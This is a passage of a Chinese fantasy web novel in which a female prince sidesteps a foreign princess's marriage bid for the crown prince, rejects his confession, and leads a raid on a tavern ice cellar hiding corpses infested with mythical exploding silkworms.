也许是因为她真的把东方起当成了好友,不希望他的婚事和利益挂钩。
又或者,是其他缘故?
东方起见林倾月从起初一副万事不上心的懒散样子,慢慢变得神情凝重起来。
——难道她不想我娶凌雪公主?
作为太子,东方起的婚事就像一块鲜美的肥肉,谁都想来啃一啃。这些年来,他也早有了自己的一套应对方法。
“凌真殿下。”东方起起身,拱手行礼时,姿态清雅。
“真是巧得很啊,前两日楚国也送了书信,说他们国家也有适龄的公主且有意联姻。”
“虽说凌雪公主才貌双全,可本宫若是娶了她,楚国那边不好交代。他们定会以为,齐国为了和丰国联姻,而轻视楚国。”
“若再怀疑我们两国借联姻故意排挤,那就更加麻烦了。”
“哎!”
他叹了口气,显得十分无奈:“本宫也实在不想让楚国记恨丰国,思来想去国事。这婚事……”
“起哥哥若是为难,那不如就把两国公主都娶了!”凌雪不开口则已,一开口惊人。
少女脸色绯红,说出的话却很大胆:“男人本就可以三妻四妾,起哥哥又是一国太子。一次娶两位公主也不算什么,本公主愿意和楚国公主平分秋色!”
东方起没想到,凌雪居然会说出这样的话,一时语塞。
楚国公主本来就是为了推脱婚事,凭空捏造出来的。不过楚国,确实有适婚的公主。
东方起可不想真的同时娶两房妻。
可话已经出口,凌雪公主又是这副姿态,叫他有些骑虎难下。
他给龙座上的齐昭帝递去眼神,偏偏齐昭帝故意无视。
在他看来,自己儿子是娶的一方,若能联姻当然最好,总比娶一个和离过的女子好。
尤其凌雪公主又一往情深,更容易培养感情。
“起哥哥,你怎么不说话了?”凌雪望着他,七分爱慕,三分委屈,“为了联姻,为了两国邦交,我愿意和楚国公主一起嫁你。”
不远处,东方宴的唇角暗暗勾起。
此时,东方起面临的窘境,东方宴自然是功不可没。
他一开始和凌雪公主接近,本想博得对方的好感。
他和离之后,没有王妃。若是能娶丰国的公主做王妃,那么就能获得丰国的支持,即便登基无望,也能独霸一方。
可惜,凌雪公主明确地表示自己心仪的对象是东方起,并且这次来的目的就是为了和太子联姻。
东方宴失落之余,问凌雪:“若太子有心上人,你该如何?”
凌雪傲慢地道:“只要没有正式成婚,就都不做数!所以起哥哥的心上人是谁?”
东方宴笑了笑,转头看向林倾月:“就是那一位,我们齐国有史以来第一位女亲王。她因何能封王,你可知道?全是太子一力促成,可见她在太子心里地位超然。”
凌雪也将目光落到林倾月身上:“原来是她呀,难怪刚才见他们出生入对。此刻夜宴又挨得如此近。我要去问问太子,那个女人到底哪一点比我强!”
东方宴拦住了她,道:“公主殿下这样冲动,只怕会让太子殿下厌烦。作为男人,喜欢女子为自己痴迷,为自己奉献一切,却不喜欢她们争风吃醋。”
“既然公主心仪太子,不如就勇敢示爱。”
他也算到,东方起不会接受。甚至连他拒绝的理由都想到了,并交教给凌雪公主应对的办法。
就这样,成功地让东方起骑虎难下。
东方起若是答应了联姻,那就等于把林倾月从身边推开。
毕竟一个连王妃之位都不屑一顾的女子,怎么可能甘心做小?
果然,林倾月的神色不再像刚才那样云淡风轻,她抬头望着太子,也不知道在想些。
而这一切,明明是东方宴暗中挑起,此刻看到林倾月的反应,又忍不住嫉妒。
——你当真这般喜欢他?却对本王的一片痴心,熟视无睹!林倾月,就算本王得不到你,也绝对不会让你和太子走到一起!
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第170章 化解
林倾月的目光从太子身上移开,落到了凌雪公主的身上。
忽然她“噗嗤”地笑了一声。
此刻,宴会上原本很安静。连东方起都在想着该如何应对接下来的情况。
因此,她那一声笑就显得很突兀,也成功吸引了所有人的注意力。
凌雪公主不满地问:“我和起哥哥说话,你笑什么?”
林倾月抿了口酒,笑着道:“我们齐国的太子如此受欢迎,作为齐国的亲王,自然是为他感到高兴。”
说着她又冲东方起眨了眨眼:“既然丰国、楚国的公主都中意你,不如就全娶了吧。还有西部26国,南部诸多国家,估计也有不少公主。哎呀我们的太子殿下可真是好福气!只可惜……”
“可惜什么?”凌雪公主问。
林倾月叹了口气,一副为太子操心的模样:“可惜要联姻的公主太多,而太子妃只有一人能坐。未来的皇太孙,也只有一人能当。”
“该选丰国的呢,还是选楚国的?又或者西部26国?太子殿下,本王都替你觉得为难啊!”
东方起立刻就明白了林倾月的用意,于是也故作为难地说:“确实很难选,本宫也不知道该怎么选择。”
林倾月道:“何必为难呢?等几个公主都到齐了,让她们聚到一块儿斗一斗,谁打赢了就选谁,如何?”
凌雪公主顿时大怒:“斗一斗,你以为是斗鸡呢?岂有此理,别以为本公主不知道你打的什么主意!不如我先跟你打一场,谁输了谁就滚出齐国。”
说话间,她抽出银鞭,唰的一声,照着林倾月脸面打来。
不等鞭子近前,已被太子扣住了鞭尾。
太子一贯温和的神色消失,眼底只余一片冰冷:“众目睽睽之下,你居然要对我们大齐的王爷行凶。凌真皇子,贵国是想开战吗?”
凌真在妹妹挥鞭的那一瞬间就想阻止,可惜晚了一步。
“凌雪这里不是丰国皇宫,不可放肆!”他夺下了鞭子,又把妹妹给拽了回去。
“太子殿下、朝澜亲王实在抱歉!我这个妹妹,从小被家中长辈宠坏了。并非有意得罪,我们丰国一向爱好和平,绝无挑起战争之意。”
凌真自己先道完了歉,转而瞪了凌雪一眼:“还不道歉?”
凌雪咬着牙,一副不愿意低头的模样。
凌真压低声音道:“别忘了,你是私自出来的!若是不听话,大哥就派人把你押送回去!”
最终凌雪含着眼泪,委屈地说了句:“对不起,起哥哥。”
东方起道:“你应该向朝澜亲王道歉。”
“起哥哥……”她咬了咬牙,又不情不愿地向林倾月说了句:“对不起。”
齐昭帝刚才一直沉默,主要是因为他心里也赞成联姻。
除了凌雪公主的身份外,也是因为觉得她长相出众,性格率真,和东方起幼年时又相处过几日。
若是自己的儿子能喜欢上凌雪,因此打开心结,治愈隐疾。
那就是两全其美的好事儿。
尤其少女爱慕,炽热美好,哪个男人不心动呢?
所以他一直没有插话,让小辈们自己聊。
谁知最后居然发展成了抽鞭子打人,这就暴露出凌雪跋扈轻佻的性格。
哪怕是因为林倾月出言不逊在前,可在这样的场合上不分轻重地动手,那都是失了下乘。
这样的女子哪怕家世再好,也不适合将来母仪天下。
于是,看透了一切的齐昭帝,露出慈祥宽容的笑容:“凌雪公主天真率性,刚才应该也只是一个玩笑,朕不会放在心里。凌真皇子也千万莫要怪罪。”
他举起酒杯,像一位没有心计的长辈,笑呵呵地和稀泥:“朕敬皇子、公主一杯,欢迎二位来到齐国!”
——别人家的女儿,他自然不会苛责。维系两国的和谐,是他身为君主该做的。
东方起将齐昭帝的神色尽收眼底,一颗悬着的心彻底放下。
以他对父皇的了解,知道父皇已经将凌雪公主从太子妃的候选名单里彻底剔除了。
另一边,东方宴心底暗暗失望:
凌雪真是没脑子。作为公主,私下里怎么任性跋扈都无妨,可在公开场合都不知道伪装一二。
被林倾月三言两语挑唆了下,就动手打人。简直就是蠢,根本成不了大事。
晚宴结束时,已将近子时。
凌雪和凌真下榻在专门接待外国使臣的鸿胪寺。
临别时,凌真再次和东方起致歉:“我这妹妹就是被惯坏了,若有得罪之处,还请太子殿下多多包涵。”
东方起自然也不会得理不饶人:“不过一点小事,不算什么。再者,本宫刚才的话也有点重了,希望皇子也莫要放在心上。”
凌真道:“不会不会!我们兄妹还要在贵国多逗留几天,接下来也要麻烦太子殿下多多关照。”
东方起是一开始就被安排了接待的任务,自然要尽到主人的义务,此刻的场面话当然也说得滴水不漏。
凌雪在旁边听着,突然插嘴道:“起哥哥,既然你负责接待我们。那你能带阿雪去游玩京城?听说明天晚上京城还有灯会,你能陪我一起去看吗?”
“阿雪,不得放肆!”凌真呵斥道,“殿下虽负责接待我们,但主要是接洽两国的国事,哪有时间带你去闲逛?”
东方起笑道:“公主若想要逛京城,本宫会安排好人随行护卫。”
“只是护卫,你却不愿意陪伴?”凌雪撅着嘴巴很不满意,“你还说不生我的气,却连陪我逛逛都不肯。”
东方起道:“公主殿下恕罪,本宫和你皇兄这两日还有许多国事,实在抽不出空来。”
这话并不是推诿。
凌真访问时齐国,是带着政治任务而来。要考察齐国的商业、军队,还有一些两国合作的事宜要洽谈。
东方起自然要以国事为主。
当然,厌烦凌雪,不愿意和她有过多接触,是主要的。
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第171章 我若要娶妻,唯一想娶的人只有你
凌雪还想再说,被凌真用眼神制止了。
“太子殿下就此留步,明日再见。”凌真说罢,带着妹妹上了马车。
东方起则立刻转头,寻找林倾月。
身后人影憧憧,可林倾月依然是最醒目的存在。
她站在宫殿的廊柱下,手上还领着个白玉酒壶。
檐下的宫灯在夜风下微微摇曳,于是她姣好的五官也在光影的摇曳下,变得有几分朦胧。
她举起酒壶正要把最后一点酒喝完,却猝不及防地被一只大手给夺了过去。
林倾月皱眉看他:“东方起,你干嘛抢我的酒?”
东方起道:“你不能再喝多了。”
上次喝醉发的那场酒疯,实在让人记忆犹新。若是在皇宫里,再说出什么大逆不道的话,那可就真麻烦了。
林倾月听出他的言外之意,笑道:“放心,我今日没喝多。也就那么一壶酒。宫廷玉液,确实比外头的酒好喝。散场的时候,见壶里还剩一点,我本着不浪费的原则,才顺手带出来。”
她摆了摆手:“人都散尽了,我也该回去了。”
东方起还有些不放心:“我送你吧。”
林倾月问:“怕我迷路?”
东方起道:“怕你酒兴大发,又不知道飞到哪个屋顶上口出狂言!”
万一再搂着别人哭哭啼啼、卿卿我我,那就更不行了!
林倾月也没推辞,任由东方起一路陪着往外走。
“我真没喝多。你把酒壶还给我,里头还剩一口,不能浪费了。”
东方起举起酒壶,目光扫过壶口那抹淡粉口脂唇印,仰头将残酒连同她的口脂一起,吞咽入腹。
喉结滚动间,他随手将空壶丢向身后,带着酒气的声音低哑:
“现在不浪费了。”
林倾月:“……”
“林倾月。”
东方起很少用全名称呼她,突然这么喊,林倾月都有点意外。
“怎么?”
她抬眸时,他恰好转身望来。
四目相对,她眸中带着几分疑惑,他眼底却藏着化不开的深情。
身后宫廷楼宇灯火如昼,他立在宫门前的广场上。
漆黑眼眸里没有半分对权力的贪恋,唯有她的身影,已长长久久镌刻在眼中。
“林倾月,方才的宫宴上,你为何要帮我解围?那种情况下,以你的聪明,应该知道该独善其身。你一开始也确实是这样做的,可是后来为什么要开口帮我?”
“为什么?”林倾月笑了笑。
“因为我看出你不喜欢那个丰国公主,因为你是我徒弟,因为咱俩关系好,因为你也帮过我。”
她一口气说了很多理由,可这些都不是东方起希望听到的。
“就只是这些吗?”
林倾月有点吃惊:“这么多理由还不够吗?”
东方起向前迈近了一步,于是他们的距离就悄无声息地拉近了一些。
“林倾月,你可知为什么我不愿让你做我师父?”
林倾月脸上一沉:“你莫非想反悔?学了我的本事,就想把我一脚踹开?”
东方起气恼的一口心头血都快要喷出:
“因为定了师徒的名分,你我的关系就不能再改变!我好不容易,才和你解除那什么狗屁的叔嫂关系!怎么可能再套上另一层枷锁?”
“林倾月你不要装傻,我不相信你看不出来我对你的心思。”
林倾月被他灼人的眼神逼得,转过来身去,声音冷淡:“我看你是喝多了,该回去喝点醒酒汤了。”
东方起扣住她的肩膀,将她的人给掰了过来,不容她回避自己的眼神,也想将她此刻的神色尽收眼底。
“我若要娶妻,唯一想娶的人只有你——林倾月!”
他眼神里带着几分侵略,可当她抬眸望来的时,又只剩温柔。
他温柔的望着她,将心事吐露:“我想了很久,也忍了很久。我一直无法确定你的心思,不敢冒昧地将自己的心意表露。”
“可今晚,我在你的眼里看到了不一样的情绪。你会为我出头,会为我忧心。”
“你心里也是有我的,对吗?”
他的眉眼属实好看,有时清冷、有时温和,像极了师父,也像极了阿灼。
可偏偏,他谁也不是。
前一世,林倾月入魔后刚愎自用,唯我独尊。行事作风只凭喜好,所以才会将阿灼当成师父的替身。
她以为可以排遣自己的孤独寂寞,可最终辱没了师父,也伤害了阿灼。
这一世,她从未想过情爱之事。
哪怕东方起的眉眼酷似他们,她也始终让自己保持理智。
她不想让他做第二个阿灼,承受阿灼曾经受过的苦。
于是此刻,她将他的双手从自己的双肩上拔下,后退一步拉开了两人间的距离。
“我们可以做师徒、做同僚、做朋友,唯独做不了爱人。”
东方起不甘心地问:“为何?”
林倾月笑得云淡风轻、没心没肺:“因为我已心有所属。”
“谁?”他心头一揪,急切地问。
“一个已死之人。”她答。
东方起微微诧异,却继续追问:“既然已死,为何不能放下?”
“因为放不下啊。”林倾月语气淡漠,却透着一层化不开的悲伤。
“不管他死去多久,不管前世今生、来生来世,即便身死道消也放不下。”
东方起起初还以为,那是她故意编造出来的话,可她的眼神是那么的哀伤,根本不像伪装。
他又想起,那次她喝醉之后流着泪喊师父的样子。
"所以那个人,是你师父吗?"东方起无声的苦笑,“那日你喝醉时,把我当成了你师父。他……是怎么死的?”
“被坏人害死的,不过我已经替他报仇了。”林倾月说得简单。只是前尘往事已刻入了灵魂深处,如影随形。
东方起心绪难平,很想抛开君子仪态,不顾一切地将她拥抱入怀,告诉她:
纵然你心有所属,纵然你无法接受我,我也绝不放手!
可……当他瞥见她眼底深处,怎么都藏不住的悲戚时;
当他看到她淡然微笑,故作轻松的样子时;
那点冲动就化成了锥心的疼,哪里还舍得逼她呢?
真正爱一个人,是哪怕自己的早已心碎成渣,也舍不得让她有半分为难。
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第172章 她还是介意了
东方起掩下翻涌的心绪,恢复了一贯的温和无害:
“我知道了。抱歉,今晚许是喝多了酒,有些冲动。希望不会给你带来困扰。”
林倾月浅笑:“你且放心,我没那么容易被困扰。”
他倒是希望她能因此困扰,那至少说明自己在她心里不一般。
“那往后我们,还能像以前一样吗?”
“自然可以。”
林倾月笑着回答,只是临了补了一句,“不过你的符箓之术已经学得差不多了,以后不必再每晚来我家学习。往后只需自己勤加练习,熟练掌握即可。”
东方起默了默后,才慢慢道出一句:“好。”
“行了,天色不早了。再不出去,宫门就该落锁了。你也不必送了,早点回东宫吧。”
林倾月说话间,潇洒地挥手离去。
月色下,她步履轻快,刚才发生的事似乎完全影响不到她。
可东方起知道,她还是介意了。
否则,不会谢绝自己登门。
此刻,他有些后悔不该这么唐突地表明心意。
就算她心里还有别人,就算那人已死,成了她心头永远的白月光。
可若是时间久一点、再久一点,或许自己也能走进她的心里。
接下来的几天里,林倾月和东方起,一个忙着玄镜司里的案子,一个忙着接待凌真王子。两人各怀心思,各主其事,没有再见。
谢守正、红瑶等人通过几天的摸排调查,最终确定了一户可疑的地方。
那是,京城最好的酒楼——天香楼。前段时间,玄镜司的人还曾在聚餐。
由于酒楼要储存食物、酒品,因此酒楼后院设有一间大型的冰窖。
红瑶和谢守正去天香楼排查的时候,在地窖入口处嗅到了若有若无的尸体气息。
玄镜司。
谢守正对林倾月道:“现在问题在于,天香楼的冰窖最近一直处于封闭阶段,且外面还上着锁。”
“若不是我的鼻子极为灵敏,几乎都闻不到那一丝溢出的微弱气味。”
“本来我和红瑶想直接闯入其中,搜查冰窖。但是红瑶听到里面,有窸窸窣窣的活物,而且数量应该很多。”
“以防万一,我回来搬救兵,红瑶在天香楼外头盯梢。”
谢守正说话间,点了几十个司卫。
林倾月听此情况,把官帽一戴:“我也去瞧瞧。”
到底是什么东西胆大包天,居然敢在她眼皮子底下偷盗尸体?
大约是听到了他们的谈话,搁在玄镜司书案上的幽冥伞也发出红色的光芒,引魂铃叮叮叮叮地响,送来了冤魂的求情:“诸位大人请带我一起,我要找回我的身体!”
谢守正顺手拿起幽冥伞,对林倾月道:“事不宜迟,我们快走。”
很快,一行人就到了天香楼门口和红瑶汇合了。
红瑶道:“我一直盯着,天香楼此刻才刚刚开门,尚未营业。后院的冰窖一直是封闭状态,不允许员工随便出入。”
林倾月对谢守正道:“既然走了明路,就把阵仗摆开。”
谢守正使了个眼神,身后的司卫自动分成两队,一队人马把天香楼给围了,一队则跟着谢守正、林倾月他们闯了进去。
天香楼每天都是上午巳时开门,巳时三刻之后才会陆续开始进客。
林倾月之前请封王宴请,就在天香楼,小二对她印象很深,还以为他们又要来吃饭,赶忙来迎接:
“几位今天又来聚餐吗?我们才开门,还要再过三刻钟才能……”
不等他说完,一名司卫亮出玄镜司的令牌,大声道:
“玄镜司奉命搜查,天香楼所有员工站在原地,等待调查!”
接着就见两个威风凛凛的长官,带着几十名手下,穿过天香楼大堂往后院而去。
小二哪里见过这种阵仗?吓得脸都白了,慌慌张张地往楼上跑:“大掌柜不好了!”
天香楼乃是冯家的产业。
冯家乃是大儒世家,如今的家主叫冯英,乃是国子监祭酒,官拜从三品,负责齐国最高等的教育。
冯家曾经还出过帝师,因此在齐国地位很高。
但凡科考的学生,都以能在天香楼喝一壶状元酒为荣。
天香楼的酒菜也是名满京城,可惜价格太高,非贫寒子弟能够消费得起的。
冯英今日中午恰好要在天香楼办张罗一席宴席,招待他最得意的几个门生。
人还没走近,就听手下人来报:“大人,天香楼被玄镜司的人给围了。”
贵族们一向看不上玄镜司这类干脏活的衙门,冯英更是自诩当世大儒,平常听人提起玄镜司又立了什么功劳时,都是不屑一顾的姿态。
不想今日,他从来看不上眼的乌合之众,却胆大妄为地冲了他的天香楼。
林倾月、谢守正等人长驱直入,很快就到了后院的地窖入口处。
地窖的入口上方有好几把锁,牢牢地锁着。
谢守正环视一圈,大声嚷道:“掌柜在哪?把锁打开!”
掌柜是一位20多岁的年轻男人,扒开人群挤了出来,一边拱手作揖,一边道:
这章没有结束,请点击下一页继续阅读!“诸位大人请见谅。这地窖里藏的都是冬天采集来的冰块,十分珍贵。”
“为延长冰块的保存时间,冰窖的门开启有严格的要求,不能在白天阳气盛的时候开,也不能有大量的人员进入。否则,泄露了内部的寒气,导致冰块融化,将损失惨重。”
“你们若是想要进入冰窖,烦请晚上再来,且进入的人员不可超过两名。”
谢守正道:“晚上来?开什么玩笑!本官和林副使带着人马来此,必然是掌握了证据,必须要进去搜查。若是到了晚上,谁知道你们会不会把里面的东西给转移走?”
掌柜扑通一下给跪了:“可万万不能啊大人!如今天气已热,若是不按照规矩来,里面的冰全都融了,冻在里面的西域葡萄酒、西域水果,都会腐烂变质!”
林倾月道:“我就可以保证里面的冰不会发生融化。如若因此产生任何的损失,自有我们玄镜司来负担。当然前提是,你们里面的冰窖是干干净净的,没有藏着我们要找东西。”
她敢说出这些话,当然也是有把握。其实只要在门口设置一个小小的符阵,就可封住里面的寒气。
可那掌柜拦在冰窖的门口,死活不同意,最后甚至还斗胆质问:“天香楼乃是冯家的产业,非比寻常。你们玄镜司如此冒犯,就不怕得罪冯家吗?”
谢守正冷哼:“老子办案,只为苦主申冤,不畏任何强权!既然你不愿意配合,我们便自己动手了!来人,把门板给本官拆了!”
“是!”
几名司卫应声而出正要动手,却听一人喝道:“谁敢动手?”
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第173章 搜查天香楼
声音落下的同时,就见一名四、五十岁,青袍束玉带、白面长须的男子出现在眼前,正是当今的国子监祭酒冯英。
掌柜一看到此人,便激动地冲上来:“老爷您可算来了,若是晚来一步,咱们天香楼就要叫这帮人给拆了!”
“老夫看谁敢?”他第一眼看到的是谢守正,“谢大人许久不见,你这官威都摆到老夫的头上来了!”
论起来,谢守正还算冯英的学生。
那时,谢守正才刚当人不久,以书童的身份每天陪伴太子上课、下课。顺便跟着一块听课学习。
当时,为太子授课其中一位讲师就是冯英。
冯英原本是想成为太子太傅,未来的天子帝师。所以每次讲课的时候,格外认真。
而他对谢守正的印象就是:脑子不聪明,问题一大堆。
每次下课,谢守正就捧着一卷书,过来问东问西。
当着太子面的时候,冯英会耐心地讲解。
可太子一走,他就根本不想和一个家世、没背景的书童多说一句话。
有一回,他被谢守正问得不耐烦了,冷着脸嘲讽:“奴才就该好好伺候主子,将来做个管事也就到头了。圣贤之书乃是上流阶层的子弟才配读的,你一个奴才读再多书也登不了大雅之堂!”
当时的小灰听完,整个人的表情都是蒙的。
他不明白,为什么人会有两副脸孔:一副彬彬有礼、笑容可掬;另一副却高高在上,说着刻薄恶毒的言语。
他愣愣地宫殿的屋檐下,许久之后脑子里还回想着那一句:“你一个下人读再多书也登不了大雅之堂……登不了大雅之堂……”
也是那一次,他才发现原来人和人之间是有区别的。
无形的阶层,早就将人分为三六九等。
哪怕他是太子身边的人,没有显赫的家世也依然被人看不起。
东方起察觉到小灰情绪不对,问他怎么回事?
小灰眼圈一红:“殿下,有人欺负我,我能不能咬他?”
东方起:“……”
第二天,冯英就被取消了讲师的资格,痛失未来帝师之位。
偏小灰还屁颠屁颠地还跑到他跟前幸灾乐祸:
“想不到吧,我会告状!哼,就你这样的人也好意思教书育人?啊呸!”
后来,还是因为冯英的父亲,也就是齐昭帝的老师从中周旋,才将他推举进入了国子监,又一步步走到了国子监祭酒的位置。
可惜他的官职只是从三品,就已经做到头了。和太子太傅、帝师,根本不能比肩。
从某种角度上来说,冯英的帝师之路,是谢守正给掐断的。
所以此刻,新仇旧恨叠加在一起,冯英看谢守正的目光,简直恨得快要喷出火来。
如今的谢守正,再也不是当年那个单纯的小书童了。
他冷眼瞅着冯英,语气却和当年一样欠揍:
“原来这天香楼是冯祭酒的产业啊!冯祭酒你且听好了,本官怀疑你家酒楼冰窖下,藏了尸体。看在过去本官听过你几堂课的份上,你若肯自觉打开冰窖的门,我们可以保证不会损坏里面的冰块。”
冯英往冰窖前一站,道:“你个小小的五品官,查脏案查到老夫的头上来了?今日,谁敢在天香楼放肆,老夫定要去圣上面前参他一本!”
他身后跟着还有一帮他的学生,个个都是世家子弟,此刻也纷纷发声:
“我真是搞不懂太子殿下是怎么想的,居然让一帮下九流的江湖术士登堂入室,念经驱邪的事和尚、道士不都可以做吗?何必多此一举?”
“偏偏还有人拿着鸡毛当令箭,耀武扬威!”
“我若为官,第一时间便请旨解散什么狗屁的玄镜司!”
林倾月站在司卫里本来不想说话,听到这些忍不住冷笑一声:
“好一帮文人墨客!若无玄镜司拱卫齐国的安危,你以为你们凭什么可以安安静静地读书?”
她盯着其中一个青年子弟道:“你刚才说‘你若为官,第一时间便请旨解散什么狗屁的玄镜司?’很遗憾地告诉你,我恰好会一些相面之术,观你面相,你此生都无缘仕途!”
“说什么?”那人很是恼火,忽然又盯着林倾月的脸好奇地道,“咦,你是个女人?”
冯英之前和林倾月有过一面之缘,认出他的身份来,正要说话。
手下那帮学生们却已经嘲笑开了:
“哈哈哈,玄镜司果然是乌合之众,居然让女人出来抛头露面!”
“长得倒是挺漂亮,可这么漂亮的女人,混在这帮男人堆里,跟那些勾栏里的女子有什么区别?”
“哈哈哈,也许就是一路货色呢!”
林倾月脸色一沉,喝道:“红瑶,掌嘴!”
笑声未绝,一个红影忽然从眼前闪过,接着就听“啪啪啪!”耳光的声音此起彼伏。
红瑶的动作很快,仅仅只是眨眼的时间,已经在那些嘴臭的学生脸上各打了一百下,打得他们面颊红肿,嘴角吐血。
“你……你怎么敢……”一个被打掉大牙,说话漏风的男人捂着脸质问。
红瑶厉声喝道:“胆敢出言侮辱当朝的朝澜亲王,简直就是不知死活!还不跪下请罪?”
那些无知的学生还没反应过来,冯英倒是立马过来行礼:
“朝澜亲王恕罪,这些都是世家子弟,初出茅庐尚不懂人情世故。殿下您身居高位,应有容人之量,莫要与他们计较。”
这话表面上看谦逊有理,暗中却在指责林倾月以权压人,没有容人之量。
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第174章 冰窖藏尸
谢守正也听出那话的意思,冷哼道:“你们以权压人,说玄镜司是乌合之众、上不了台面就可以?知道我们玄镜司有个亲王坐镇,就说什么容人之量?老子量……量你奶奶个腿!”
冯祭酒气得胡子直抖:“你你……你粗鄙!孺子不可教也!”
林倾月还惦记着案子,没空与他们废话,只让红瑶记住那些人都是哪家的,回头再秋后算账。
“来人,开冰窖!”
一声令下,司卫直接暴力拆除。
冯祭酒身后的学生们愤愤不平:
“祭酒大人,你就这样让他们欺负?”
“就是,她还让人打我们!读书人的脸面,都要被她打没了!”
冯祭酒叹了口气:“你等有所不知,朝澜亲王以权相压,别说她要废掉老夫一个冰窖,就算真的拆了天香楼,老夫无可奈何呀!”
“您莫要担心,我祖父是御使,待我回去禀明祖父,上书参奏!”
“我叔叔乃是赵国公,她今日打了我,便等于打了国公府的脸!”
冯祭酒正准备再多说几句撺掇,比较他最擅长的就是耍嘴皮子功夫。
可就在这时,冰窖里传来玄谢守这的惊呼:“尸体!林副使,真的找到尸体了!”
林倾月正在冰窖外勘察,听到谢守正的话后,一个纵身跳入了冰窖下。
冰窖里为了保持温度,从地面往下整整有七八米深。
到了地下之后,又有一道暗门。暗门之后就是储冰室。
冬天天寒地冻的时候,采集冰块运到冰室。保存完好的情况下,冰块能保存一年。
储冰室的温度很低,好在像林倾月他们这种身怀异能的人对温度的感觉没有那么敏感。
第一眼望去,整个冰室里整齐排放着一摞摞半人高的冰砖,整整有上千块之多。
如此规模的冰室,也只有冯家这种财大气粗的人家才能用得起。
在冰室的最里头,放着十几具尸体,有男有女,有老有少。
由于一直被保存在低温环境下,尸体没有出现严重的腐烂。
平常天香楼的伙计取冰都是从最外层开始。
而那些尸体被藏在冰室最里面,又被层层冰块遮挡,所以一直没被人发现。
幽冥伞里收着的王书的鬼魂,感应到了自己的尸体,着急忙慌地想要出来,被谢守正拍了一下:
“你都死了,回不到肉身里了。安静呆着,我们会帮你收尸!”
他正要吩咐人把尸体抬出去,林倾月忽然察觉到了什么,急忙喝一声:“不要靠近!”
众人一惊,再定睛看时,只见那十几具尸体的肚子,正在一点点的胀大。
不过眨眼间,大得就像怀孕要临盆的肚子一样。
此刻,尸体的肚子还在动,好像里面真有个胎儿,想要破肚而出。
随之而来的还有“沙沙”,犹如蚕虫啃食树叶的声音。
“这是……”林倾月忽然想到了什么,急忙喊道,“跑,快跑!”
众司卫们虽有些搞不清状况,但还是听话地转身就跑。
谢守正和红瑶是妖怪,也本能感应到危险,第一时间转身就跑。
红瑶在跑冰窖出口的时候,发现林倾月没有跟上来,急忙回头去看,这才发现她还站在原地没走。
“林副使!”
也就在这一刻,“砰!砰!砰!”接连的爆炸声震耳欲聋,强大的冲击力,瞬间就将红瑶给震得撞在甬道的石壁上。
周围开始剧烈摇晃,储冰室不断传来崩塌的声音。
红瑶还想去救林倾月,却被谢守正的血荆棘卷住腰身,嗖的一下拽到了地面上。
下一刻,“轰!”
天香楼的后院地面垮塌陷落,变成了一个废墟大坑。
“林副使!”红瑶趴在废墟上大喊,焦急万分。
谢守正挠挠头,不解地道:“奇怪,林副使刚才怎么没跟我们一块儿跑出来呢?都别愣着了,赶紧刨啊!林副使被活埋在里头了!”
于是玄镜司的众人,不管受伤还是没受伤的都开始刨,一边刨一边喊:“林副使,林副使!”
刚才的塌陷也让冯英等人吓了一大跳。
冯英缓过神来就发现后院整个都塌了,里面存储的那些价值昂贵的冰块也全部付之一炬。
他心疼得直跺脚:“你们,你们毁了老夫的冰窖,冰窖啊!刚才你们不是说了,保证冰窖完好无损吗?怎么现在就塌了?”
“没有那些冰,冰镇葡萄酒、冰沙凉饮通通都喝不到了!你们知不知道,这将给我们带来多大的损失吗?”
话音刚落,啪的一声,血荆棘狠狠抽在冯英身上,顿时落下了一道血痕。
冯英惨叫一声,痛得浑身哆嗦,骂道:“谢守正你好大的狗胆!区区一个五品小官,居然敢殴打上官!老夫,老夫要联合所有的学生,所有的世家,告到你被罢官为止!”
谢守正道:“都什么时候了,居然还担心那些冰块?若是林副使有个什么意外,你们就等着给她陪葬吧!”
冯英这才发现林倾月不见了,又见玄镜司的那些莽夫们都忙着挖掘。
冯英脸色微变:“这不关老夫的事!是你们非要闯进冰窖,又不知道在里面动了什么手脚才搞塌了冰窖。就算朝澜亲王出事,也是她自己不小心。一个世家贵女,放着好好的晋王妃不当,跟一群莽夫……”
“啪!”又是一记鞭子甩在冯英的脸上。
谢守正道:“来人,把这老匹夫的手脚捆了,嘴堵了!要不然再听他啰嗦下去,本官真怕自己忍不住把他鞭死了!”
“大胆谢守正,老夫乃是国子监祭酒,还做过你的老师,一日为师终身为父,你怎可如何无礼,呜呜……”
直到冯英被绑了手脚、封了嘴,才算安静下来。
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第175章 飞天尸蚕的来历
就在这时,哗啦一声,林倾月猛地从废墟里钻了出来。落了一头一身的灰烬,脸也糊得脏兮兮的。
众人急忙围上去关心:
“林副使你怎么样?”
“刚才你还叫我们跑,你自己怎么站着不动呢?”
“就是,我们都能跑得出来,你没理由被埋在里面啊?”
“还好你没事,可吓死兄弟们了!”
林倾月弹了弹身上的灰烬:“因为这个。”
她掌心摊开,出现在众人眼前的是一条灰白色的虫子,大小外形像桑蚕。所不同的是,背上有一双透明的小翅膀。
那虫子的翅膀已被折断无法起飞,肥胖的身子不断地扭动翻转,似乎还想逃离林倾月的掌心。
众人凑过来看了又看。
大米还伸出一根手指,戳了戳虫子肥胖的身子,“这是蚕吗?软软的,瞧着还怪可爱,不像有什么伤害力。”
林倾月道:“一条、两条固然不足为惧,多了可是个大麻烦。此物名为‘飞天尸蚕’,乃是一种上古生物,生长在雪域高原之上,喜食腐肉,尤其喜欢寄生在人类尸骸的腹部。”
谢守正听到这里,瞬间反应过来:“所以,我们刚才在冰窖里看到那些尸体腹部膨胀,里面还有东西在蠕动,那东西就是……就是这个飞天尸蚕?”
林倾月点头:“不错。这种虫子一旦感知到危险,就会用自爆的形式和来犯者同归于尽,同时,趁机将剩下未孵化的虫卵散布出去,以达到族群延续的目的。”
“刚才我让你们快跑,就是怕你们被爆炸波及,若是不小心还有可能被虫卵寄生。”
“不过这种虫子有个特性。临产的母虫会寄生在活人身体里,吞噬活人内脏。在诞下虫卵后,宿主基本也已死亡。虫卵孵化的子虫就靠着腐尸一点点长大,长出翅膀,再飞去其他地方。”
“不过这种虫子有个致命的缺点。他们喜爱寒冷的环境,产下的卵也只能在寒冷的环境下才能顺利孵化。”
“子虫在长大的过程中,一旦环境温度达不到寒冷的标准,也会随着宿主一起死去。”
“也是由于如此严苛的繁殖要求,这种物种离开了极寒之地,就很难大面积繁衍。”
而林倾月刚才之所以没有及时撤离,就是趁着爆炸的一瞬间,祭出火阵符箓将他们通通烧死。
她只留下了一只作为证物,带了出来给大家开眼。
众人听罢林倾月的解释,又想到刚才虫子在尸腹中蠕动、膨胀的场景,再看看此刻林倾月手里的虫子,都忍不住想吐。
